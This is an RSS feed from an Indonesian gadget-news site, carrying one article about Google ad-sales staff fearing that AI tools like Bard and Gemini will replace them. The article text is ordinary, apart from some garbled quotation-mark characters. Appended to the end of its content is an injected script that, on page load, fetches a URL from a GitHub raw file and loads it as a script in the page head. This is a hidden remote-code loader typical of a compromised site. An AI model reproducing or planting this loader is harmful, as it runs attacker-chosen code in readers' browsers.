<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>karyawan google &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/karyawan-google/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Thu, 11 Apr 2024 15:58:28 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>karyawan google &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Teknologi AI Bikin 30 Ribu Pekerja Google Resah</title>
		<link>https://nativzen.com/2023/12/26/teknologi-ai-bikin-30-ribu-pekerja-google-resah/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 26 Dec 2023 02:55:16 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google bard]]></category>
		<category><![CDATA[google gemini]]></category>
		<category><![CDATA[karyawan google]]></category>
		<category><![CDATA[teknologi ai]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=2141</guid>

					<description><![CDATA[Mereka khawatir akan digantikan oleh AI, dan pada akhirnya Google harus mendepak mereka semua dari pekerjaan yang ada sekarang.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Tak sedikit orang mengatakan bahwa teknologi AI dapat mendorong kemajuan umat manusia. Di sisi lain, tak sedikit juga yang khawatir bahwa teknologi tersebut akan mendorong umat manusia ke dalam garis pengangguran.</p>



<p>Mereka yang resah memang punya alasan yang cukup kuat, yakni ketika AI memperoleh kemampuan untuk mengotomatisasi lebih banyak tugas. Kekhawatiran yang sama pun dirasakan oleh puluhan ribu karyawan Google.</p>



<p>Ya! Mereka khawatir akan digantikan oleh AI, dan pada akhirnya Google harus mendepak mereka semua dari pekerjaan yang ada sekarang. Google adalah perusahaan periklanan besar, dan memiliki divisi penjualan iklan besar-besaran yang terdiri dari lebih dari 30.000 karyawan.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433-1024x576.jpeg" alt="" class="wp-image-2143" srcset="https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433-1024x576.jpeg 1024w, https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433-300x169.jpeg 300w, https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433-768x432.jpeg 768w, https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433-370x208.jpeg 370w, https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433-270x152.jpeg 270w, https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433-570x321.jpeg 570w, https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433-740x416.jpeg 740w, https://nativzen.com/wp-content/uploads/2023/12/google_bard_adobestock_569502433.jpeg 1440w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Rumornya, Google berencana untuk mengembangkan berbagai tools AI untuk membantu meningkatkan produktivitas secara internal. Memang harus diakui meskipun AI tidak secerdas manusia dalam beberapa hal, tetapi AI tetap pintar dalam hal lain.</p>



<p>Selain itu, teknologi AI memiliki kemampuan untuk melakukan tugas jauh lebih cepat daripada manusia. Inilah yang menimbulkan ketakutan akan pengangguran pada banyak orang. Jadi, peralihan ke penggunaan tools AI telah menimbulkan kekhawatiran di dalam perusahaan.</p>



<p>Menurut The Information, Google telah memberi tahu karyawannya bahwa mereka akan mengatur ulang bisnis penjualan iklannya. Tentu saja, hal ini tidak secara langsung mengisyaratkan kepada karyawan, &#8220;segera mengemas barang-barang kamuâ€œ.</p>



<p>Selain itu, tak dapat disangkal bahwa ketika banyak perusahaan melakukan pemutusan hubungan kerja alias PHK, mereka menyebutnya sebagai â€œreorganisasiâ€ atau â€œrestrukturisasiâ€ departemen tertentu. Ini adalah cara untuk menutup-nutupi fakta pahit yang ada.</p>



<p>laporan lainnya menyebutkan, sekitar 45% dari 30.000 karyawan di divisi penjualan iklan di Google mengerjakan proyek yang telah disederhanakan oleh AI. Artinya, hampir separuh orang di divisi tersebut mengerjakan proyek yang dapat dengan mudah diambil alih oleh Bard atau Gemini.</p>



<p>Jika perusahaan melakukan perampingan karyawannya demi efisiensi, hal ini akan berdampak buruk pada keseluruhan rencana â€œMengembangkan AI secara bertanggung jawabâ€ yang sebelumnya sudah digadang-gadang oleh Google.</p>



<p>Awal tahun ini, Google membuat pernyataan besar tentang bagaimana teknologi AI-nya tidak akan berdampak negatif terhadap manusia. Lantas, apakah hal itu juga berlaku pada mereka yang bekerja di perusahaan tersebut? Jelas, ini menjadi pertanyaan kita semua.</p>



<p>Pada akhirnya, kita hanya perlu menunggu dan melihat apa yang akan dilakukan oleh Google di tahun-tahun selanjutnya. Hal ini tampaknya tinggal menunggu waktu. Jika PHK memang terjadi, teknologi AI benar-benar telah mendorong umat manusia ke garis pengangguran.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
